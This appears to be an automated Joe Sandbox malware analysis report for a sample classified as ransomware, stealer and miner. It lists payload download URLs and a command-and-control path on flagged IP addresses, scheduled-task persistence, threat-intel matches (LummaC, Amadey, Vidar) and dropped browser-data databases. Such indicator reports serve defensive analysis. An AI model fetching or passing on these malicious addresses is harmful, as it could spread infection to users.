http://anglebug.com/5371	chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/luma/random.execS	skotes.exe, 00000006.00000002.3094333474.0000000001572000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://anglebug.com/4722	chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 00000006.00000002.3094333474.0000000001572000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000037.00000002.2847065209.0000000004EA5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003A.00000002.2889069926.00000000049A5000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/unique1/random.exe	skotes.exe, 00000006.00000002.3094333474.000000000154A000.00000004.00000020.00020000.00000000.sdmp	false	high
http://anglebug.com/7556	chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/luma/random.exe2	skotes.exe, 00000006.00000002.3094333474.0000000001572000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://drive-preprod.corp.google.com/	chrome.exe, 00000032.00000003.2792234176.00000AD0026A4000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	Dry.com, 00000011.00000002.3103847193.0000000003E3D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://toptek.sbsosh;	Dry.com, 00000011.00000002.3105087259.0000000003EFC000.00000040.00001000.00020000.00000000.sdmp	false	unknown
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://toptek.sbsc73e0ff43f217le	Dry.com, 00000011.00000002.3105087259.000000000401F000.00000040.00001000.00020000.00000000.sdmp	false	unknown
http://html4/loose.dtd	8b67fa16f7.exe, 00000030.00000003.2676434059.00000000076E6000.00000004.00001000.00020000.00000000.sdmp	false	high
http://anglebug.com/6692	chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	false	high
https://issuetracker.google.com/258207403	chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.43/Zu7JuNko/index.phpW	skotes.exe, 00000006.00000002.3094333474.0000000001572000.00000004.00000020.00020000.00000000.sdmp	false	high
http://ocsp.sectigo.com0	skotes.exe, 00000006.00000002.3094333474.0000000001572000.00000004.00000020.00020000.00000000.sdmp	false	high
http://anglebug.com/3502	chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3623	chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3625	chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anglebug.com/3624	chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.google.com/presentation/J	chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	false	high
https://t.m	Dry.com, 00000011.00000003.2594351178.0000000001187000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 00000011.00000003.2594718632.0000000001220000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 00000011.00000003.2594264428.0000000001220000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://anglebug.com/5007	chrome.exe, 00000032.00000003.2812994462.00000AD0029B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2812923769.00000AD002580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2804100336.00000AD002580000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.121.15.192	home.fivetk5ht.top	Spain	207046	REDSERVICIOES	false
172.217.19.228	www.google.com	United States	15169	GOOGLEUS	false
172.67.180.113	treehoneyi.click	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
20.233.83.145	github.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
34.226.108.155	httpbin.org	United States	14618	AMAZON-AESUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.199.108.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
94.130.188.57	toptek.sbs	Germany	24940	HETZNER-ASDE	true
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
127.1.10.1	unknown	unknown	unknown	unknown	true

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579265
Start date and time:	2024-12-21 10:13:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	61
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.mine.winEXE@115/100@25/15
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 2.22.50.131, 192.229.221.95, 216.58.208.227, 64.233.164.84, 172.217.19.206, 104.122.214.164, 172.217.17.46, 142.250.181.3, 23.218.209.198, 2.20.41.218, 20.190.147.5, 20.190.177.19, 20.190.147.7, 20.190.177.147, 20.190.147.1, 20.190.147.9, 20.190.147.0, 20.190.177.82, 20.109.210.53, 13.107.246.63, 2.20.41.184
Excluded domains from analysis (whitelisted): storeedgefd.dsx.mp.microsoft.com.edgekey.net.globalredir.akadns.net, slscr.update.microsoft.com, e13678.dscb.akamaiedge.net, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, storeedgefd.xbetservices.akadns.net, www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net, www.microsoft.com-c-3.edgekey.net, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, login.live.com, e16604.g.akamaiedge.net, www.gstatic.com, prod.fs.microsoft.com.akadns.net, storeedgefd.dsx.mp.microsoft.com, prdv4a.aadg.msidentity.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, storeedgefd.dsx.mp.microsoft.com.edgekey.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, store-images.s-microsoft.com, e16646.dscg.akamaiedge.net, clients.l.google.com, www.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:15:01	API Interceptor	345573x Sleep call for process: skotes.exe modified
04:15:12	API Interceptor	1x Sleep call for process: 01d781eb0f.exe modified
04:15:36	API Interceptor	38x Sleep call for process: powershell.exe modified
04:15:49	API Interceptor	2x Sleep call for process: svchost.exe modified
04:15:53	API Interceptor	2x Sleep call for process: 73aaed44cf.exe modified
04:16:03	API Interceptor	62x Sleep call for process: d59846009d.exe modified
04:16:09	API Interceptor	48x Sleep call for process: 8b67fa16f7.exe modified
09:14:01	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
09:15:33	Task Scheduler	Run new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, SystemBC, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	UyiH4t5dph.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
185.121.15.192	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	fivetk5ht.top/v1/upload.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	fivetk5ht.top/v1/upload.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	fivetk5ht.top/v1/upload.php
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.thirtgt13pt.top/xXjBuasiAlUtxjHhtPcq1734624688
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.tentk10pt.top/HfKLHljvcctMDHZDaAmV1734701446
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.twentytk20pt.top/ORoWtRYgVgDaQibUWeOu1734624689
	t3VyxF5MmA.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851
	Pm81aa8zii.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ1734514745
	avBx6p1FAX.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ1734514745

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
home.fivetk5ht.top	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, SystemBC, zgRAT	Browse	185.121.15.192
	t3VyxF5MmA.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.121.15.192
	iuO4kwUi17.exe	Get hash	malicious	Unknown	Browse	185.121.15.192
	nojxbVm8i4.exe	Get hash	malicious	Cryptbot	Browse	185.121.15.192
	QnYodX3dYf.exe	Get hash	malicious	Cryptbot	Browse	185.121.15.192
	WP6s7cCLzr.exe	Get hash	malicious	Unknown	Browse	185.121.15.192
treehoneyi.click	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	104.21.91.209
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	104.21.91.209
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, SystemBC, zgRAT	Browse	104.21.91.209
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	104.21.91.209
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	104.21.91.209
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	104.21.91.209
github.com	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	20.233.83.145
	ORDER-241221K6890PF57682456POC7893789097393.j.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	20.233.83.145
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	20.233.83.145
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	20.233.83.145
	58VSNPxrI4.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	20.233.83.145
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	20.233.83.145
	ep_setup.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	ep_setup.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	https://pdf.ac/3eQ2md	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	140.82.112.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	104.21.91.209
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	104.21.21.99
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	172.67.197.170
	https://gADK.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjHg34q_2C98ig/	Get hash	malicious	Unknown	Browse	104.18.95.41
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, XWorm	Browse	104.21.21.99
	B06 Chair + Blocker.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	B06 Chair + Blocker.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	YearEnd_Benefit_Bonus_Payout__Details__ChasChas.html	Get hash	malicious	Unknown	Browse	104.16.123.96
	Setup.msi	Get hash	malicious	Unknown	Browse	172.67.164.25
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, XWorm	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, SystemBC, zgRAT	Browse	185.215.113.43
	hBBxlxfQ3F.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	uDTW3VjJJT.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
REDSERVICIOES	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, XWorm	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.121.15.192
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.121.15.192
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.121.15.192
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.121.15.192
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.121.15.192

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Fatura227Pendente576.pdf674.msi	Get hash	malicious	Unknown	Browse	185.199.108.133 20.233.83.145
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.199.108.133 20.233.83.145
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.199.108.133 20.233.83.145
	B06 Chair + Blocker.exe	Get hash	malicious	Unknown	Browse	185.199.108.133 20.233.83.145
	B06 Chair + Blocker.exe	Get hash	malicious	Unknown	Browse	185.199.108.133 20.233.83.145
	2BI8rJKpBa.exe	Get hash	malicious	Stealc, Vidar	Browse	185.199.108.133 20.233.83.145
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.199.108.133 20.233.83.145
	dF66DKQP7u.exe	Get hash	malicious	XWorm	Browse	185.199.108.133 20.233.83.145
	2QaN4hOyJs.exe	Get hash	malicious	XWorm	Browse	185.199.108.133 20.233.83.145
	YgJ5inWPQO.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	185.199.108.133 20.233.83.145
a0e9f5d64349fb13191bc781f81f42e1	L82esnUTxK.exe	Get hash	malicious	Unknown	Browse	172.67.180.113
	8v1GZ8v1LF.exe	Get hash	malicious	Unknown	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	172.67.180.113
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, SystemBC, zgRAT	Browse	172.67.180.113
	Loader.exe	Get hash	malicious	LummaC	Browse	172.67.180.113
	hBBxlxfQ3F.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.180.113
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	94.130.188.57 149.154.167.99
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	94.130.188.57 149.154.167.99
	Setup.msi	Get hash	malicious	Unknown	Browse	94.130.188.57 149.154.167.99
	q9bzWO2X1r.msi	Get hash	malicious	Unknown	Browse	94.130.188.57 149.154.167.99
	doc00290320092.jse	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	94.130.188.57 149.154.167.99
	Fortexternal.exe	Get hash	malicious	Unknown	Browse	94.130.188.57 149.154.167.99
	676556be12ac3.vbs	Get hash	malicious	Mint Stealer	Browse	94.130.188.57 149.154.167.99
	PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.hta	Get hash	malicious	Mint Stealer	Browse	94.130.188.57 149.154.167.99
	ktyihkdfesf.exe	Get hash	malicious	Vidar	Browse	94.130.188.57 149.154.167.99
	pjthjsdjgjrtavv.exe	Get hash	malicious	Vidar	Browse	94.130.188.57 149.154.167.99

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, XWorm	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, XWorm	Browse

Created / dropped Files

C:\ProgramData\79HDJ5FK6F37\00ZUAAA1V

Download File

Process:	C:\Users\user\AppData\Local\Temp\245347\Dry.com
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\79HDJ5FK6F37\1DBSJM

Download File

Process:	C:\Users\user\AppData\Local\Temp\245347\Dry.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 2, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	0.08436842005578409
Encrypted:	false
SSDEEP:	192:5va0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23vIn:51zkVmvQhyn+Zoz67n
MD5:	2CD2840E30F477F23438B7C9D031FC08
SHA1:	03D5410A814B298B068D62ACDF493B2A49370518
SHA-256:	49F56AAA16086F2A9DB340CC9A6E8139E076765C1BFED18B1725CC3B395DC28D
SHA-512:	DCDD722C3A8AD79265616ADDDCA208E068E4ECEBE8820E4ED16B1D1E07FD52EB3A59A22988450071CFDA50BBFF7CB005ADF05A843DA38421F28572F3433C0F19
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......z<.{...{.{a{.z.z<z.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\79HDJ5FK6F37\5XBAIM

Download File

Process:	C:\Users\user\AppData\Local\Temp\245347\Dry.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\79HDJ5FK6F37\9HDT0H

Download File

Process:	C:\Users\user\AppData\Local\Temp\245347\Dry.com
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
